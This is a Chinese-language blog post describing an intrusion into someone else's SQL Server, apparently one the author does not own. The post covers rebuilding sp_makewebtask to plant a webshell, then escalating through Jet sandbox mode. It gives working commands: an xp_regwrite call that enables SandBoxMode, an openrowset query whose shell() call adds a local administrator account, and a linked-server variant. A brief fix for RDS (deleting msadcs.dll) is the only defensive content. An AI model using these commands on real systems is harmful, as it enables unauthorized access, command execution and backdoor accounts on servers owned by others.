Chinadu's Blog

今天刚好发现有一个SA权限。服务器管理员将大部份扩展都删除了。最后自己重建sp_makewebtask存储才搞到一个webshell了。（重建办法，先找台正常主机，sp_helptext 'sp_makewebtask',将他的SQL语句重新拷到目标机器执行一次就行了）。

当然有了webshell，无法满足我们贪婪的欲望。开始测试提权。有serv-u，但是提权失败了。也许大家会说用back log来提权。但是那个太慢了，要重启机器，会影响对方业务，同时又会给对方留下不好的印像。有人也许会说用读取系统账号的注册表，导入导出，克隆账号，这个办法也可行，但由于并非黑对方主机，还是要保证对方系统的安整性比较好。（也许是心理因素，^_^)

最后只好试试沙盒模式。很多人SA直接用沙盒模式成功了好多机器，但我从来没实践过，也不太清楚成功率如何。只好拿他当回肉鸡尝试了。

阅读全文...

删除xp_cmdshell和xplog70.dll不用担心，只要保留xp_regwrite就可以执行系统命令，拥有一个dos shell
利用RDS的一个老问题，在IIS 4.0的时候被广泛利用，现在好像没多少人想得起来了
主要是由于Jet允许调用VBA的shell()函数，该函数允许你执行shell命令

利用jet执行shell命令比想办法恢复xp_cmdshell来得经济实惠，不过需要猜一下系统路径
nt/2k: x:\winnt\system32\
xp/2003: x:\windows\system32\
解决办法：
如果不需要RDS支持，请删除x:\Program Files\Common Files\System\Msadc\msadcs.dll
仅仅修改注册表是不够的，具体看下文详述

当然除了IAS.mdb这个之外，还有其他的mdb文件也可以，只要文件存在即可
2003的system32下就有两个：ias.mdb和dnary.mdb
其他系统你可以dir /a /s *.mdb看一下，如果有新发现，欢迎补充

如果有回显，可以看到执行返回结果，否则需要先判断主机OS类型再试
当然如果野蛮一点，四个轮流来一遍也行。

首先开启jet沙盘模式，通过扩展存储过程xp_regwrite修改注册表实现，管理员修改注册表不能预防的原因。
出于安全原因，默认沙盘模式未开启，这就是为什么需要xp_regwrite的原因，而xp_regwrite至少需要DB_OWNER权限，为了方便，这里建议使用sysadmin权限测试：
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
注：
0   禁止一切（默认）
1   使能访问ACCESS，但是禁止其它
2   禁止访问ACCESS，但是使能其他
3   使能一切

事实上，对有DB_OWNER权限即可执行，但是执行后面一条语句会有不同要求，不能直接执行，详见下面语句解释。

然后利用jet.oledb执行系统命令，这个仅仅需要%SystemRoot%读权限即可，还是比较宽松的，所以危害也就相当高了
对于只有DB_OWNER权限的用户，需要建立链接数据库的方式来进行访问，不允许直接访问，至于是否能访问成功，尚未测试。有兴趣的可以自行测试一下，欢迎补充。
MSDN上说：
“sp_addlinkedserver : Execute permissions default to members of the sysadmin and setupadmin fixed server roles.”
实际发现sp_addlinkedserver/sp_addlinkedsrvlogin需要setupadmin权限即可执行，而DB_OWNER拥有数据库的全部权限，理论上应该可以成功。

这里仅给出sysadmin权限下使用的命令：
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

建立链接数据库'L0op8ack'参考命令：
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'